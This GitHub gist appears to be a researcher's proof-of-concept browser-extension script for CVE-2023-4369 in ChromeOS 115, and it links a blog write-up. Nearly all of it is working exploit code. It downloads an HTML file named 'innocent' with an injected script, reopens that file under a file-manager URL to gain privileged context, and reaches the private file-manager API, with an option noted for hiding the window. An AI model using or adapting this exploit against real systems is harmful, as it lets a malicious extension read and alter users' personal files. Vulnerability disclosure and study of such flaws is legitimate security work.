Skip to content

Instantly share code, notes, and snippets.

@deryilz
Created January 23, 2026 05:47
Show Gist options
  • Select an option

  • Save deryilz/b709c6cb9464741773c6b2eed5570eb2 to your computer and use it in GitHub Desktop.

Select an option

Save deryilz/b709c6cb9464741773c6b2eed5570eb2 to your computer and use it in GitHub Desktop.
/*
this is a proof-of-concept for CVE-2023-4369, which affected ChromeOS in version 115.0.5790.98
an extension with the "downloads" permission could run this code to access and modify your Documents/Downloads/Pictures
read more at https://derineryilmaz.com/blog/cve-2023-4369/
*/
function toXss(fileUrl) {
return fileUrl
.replace(
"/home/chronos/u-",
"filesystem:chrome://file-manager/external/Downloads-"
)
.replace("/MyFiles", "");
}
chrome.downloads.onChanged.addListener((item) => {
if (item.filename) {
chrome.windows.create({
url: toXss(item.filename.current),
// focused:false // hides window
});
}
});
function injectedFunc() {
let fmWindow = window.open("javascript:0");
fmWindow.document.title = "ready";
setTimeout(() => {
fmWindow.alert("fileManagerPrivate: " + fmWindow.chrome.fileManagerPrivate);
}, 1000);
}
chrome.tabs.onUpdated.addListener((tabId, event) => {
if (event.title === "ready") {
chrome.tabs.update(tabId, {
url: "view-source:chrome://file-manager",
});
}
});
let blob = new Blob(["<script>onload=" + injectedFunc + "</script>"], {
type: "text/html",
});
chrome.downloads.download({
url: URL.createObjectURL(blob),
conflictAction: "overwrite",
filename: "innocent",
});
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment